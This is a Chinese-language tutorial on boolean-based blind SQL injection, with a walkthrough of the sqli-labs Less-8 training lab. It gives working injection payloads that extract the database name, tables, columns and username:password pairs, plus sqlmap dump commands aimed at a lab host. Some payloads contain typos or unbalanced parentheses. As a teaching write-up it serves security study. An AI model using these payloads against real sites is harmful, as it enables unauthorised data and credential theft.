sql注入之布尔盲注
sql注入之布尔盲注
安全声明
本教程仅用于教育和合法的安全研究,sql注入本身是一种非法的行为,未经允许请不要对网站进行测试
前置技能点
-
sql注入的原理(知道如何去利用)
-
如何获取数据(知道数据在那个表里面)
不同注入类型利用的时机
获取数据最直接的注入方式就是联合注入,为什么不能一招鲜吃遍天呢?原因在于本身联合注入需要页面有回显的地方让我们看到数据,同理报错注入也需要页面可以把错误信息返回到页面,攻击者可以利用错误信息得到数据库的数据。这些注入的前提就是需要回显点。
那么对于没有回显的地方我们就需要利用盲注了,盲注分为时间盲注和布尔盲注,时间盲注利用sleep()函数导致服务器返回的响应会比正常响应慢,利用这个去判断数据库中有什么信息;而布尔盲注利用页面返回的内容的差异去判断数据库中的数据。这篇文章我们主要介绍布尔盲注。
判断什么时候需要利用布尔盲注
因为不能用可以直接回显的类型,如联合注入和报错注入
一个是网站不会显示数据,没有回显,例如只有登录成功和登录失败这两个回显内容,自然就不会把数据库中的数据回显到页面去;另外就是服务器抑制了错误的输出,攻击者不能利用错误信息进行测试。
而登录成功和登录失败的本质也是查询语句查询成功有数据内容或查询失败数据为空,有明显的真与假的区别,我们就可以构造sql语句去判断查询的内容的真假,这就是布尔盲注。
总而言之
因为不能用联合查询或报错查询,并且页面的响应有明显的真和假的特征并可以利用,我们就可以用布尔注入了
如何利用真假判断获取数据
-
知道sql语言中的一些函数
length():返回字符串内容的长度,例如length("hello")返回5

返回0就是假
substr():截取字符串的一部分,例如substr("hello",2,1)从hello中从第二个字符开始取一个字符得到e,注意这里的所以是从1开始。

mid()的用法和substr是一样的,不多介绍
left():字符串从往右取一定数量的字符,例如left("hello",2)返回he

right()的话就是从右往左,和left的用法一样
left和right可以结合起来用,在mid和substr被过滤的时候的替代方法,例如hello中我想拿到el,则可以:right(left("hello",3),2)

ascii():可以返回字符对应的ascii码,例如ascii('r')返回114

ord的用法和ascii一样,不多介绍
-
查询内容的长度
例如数据库名字长度:length(database)>10,利用二分法不断地尝试得到长度
例如所有数据库名的长度:
length((select group_concat(schema_name) from information_schema.schemata))>20例如所有当前数据库所有表名的结果长度:
length((select group_concat(teable_name) from inforamtion_schema.tables where table_schema=database()))>20例如……
-
查询内容字符的ascii值
上面判断完长度就可以判断字符了,例如当前数据库名字:ascii(substr((select database),1,1))>32,也是使用二分法去不断地尝试得到ascii码,然后把位置换到下一个去测试,知道达到上面测试得到的长度,再利用在线工具解码就可以了
接着把查询的语句换一下去查询有什么表有什么字段,然后dump数据,都在联合注入中有提到,直接用就行了
靶场演示
sqli-labs:level8
传递id=1

传递id=-1

传递id=1'"

经过尝试页面只会显示You are in......或者不显示内容,不能使用联合注入和报错注入,可以尝试时间盲注或者布尔盲注,不过这里有明显的真与假的特征,我们就用布尔盲注测试
实验步骤
手工
-
判断闭合类型
经过尝试
1' and 1=1 -- -知道是单引号字符型注入
-
测试当前数据库名的长度
payload:
1' and length(database()>6-- -经过尝试得到数据库长度为8

-
遍历数据库名字字符
payload:
1' and ascii(substr(database(),1,1)>32-- -利用二分法知道第一个字符的ascii是115,也就是‘s’

然后利用脚本或者bp实现自动化遍历字符,得到数据库为‘security’
-
测试查询当前数据库所有表的结果的长度
payload:
1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database())>29-- -经过测试,长度为29:

-
遍历所有表名的字符
payload:
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101-- -
知道了第一个字符是e,后面继续用自动化工具去遍历就可以得到:emails,referers,uagents,users
-
测试指定表的字段的结果的长度
猜测users里面有用户密码等信息,先测试这个
payload:
1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20-- -经过测试,知道长度为20:

-
遍历字段的字符
payload:
1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105-- -得到第一个字符为105→“i”

继续通过bp爆破得到字段为:id,username,password
-
遍历值
直接查询username和password字段长度
payload:
1' and length((select group_concat(username,":",password) from users))=189-- -经过测试得到长度为189,还是很长的
接下来遍历内容:
payload:
1' and ascii(substr((select group_concat(username,":",password) from users),1,1))=68-- -经过测试得到第一个字符为68→“D”:

继续利用bp爆破得到剩余的内容得到:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
sqlmap
# 指定注入类型为布尔盲注,遍历数据库名,线程10
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --dbs --threads=10 --batch
# 遍历所有表名
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --tables -D 'security' --threads=10
# 遍历字段
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --columns -T 'users' -D 'security' --threads=10 --batch
# 遍历username和password的内容
sqlmap -u "http://192.168.159.130/sqli/Less-8/?id=1" --technique=B --columns -T 'users' -D 'security' --threads=10 --dump --batch

浙公网安备 33010602011771号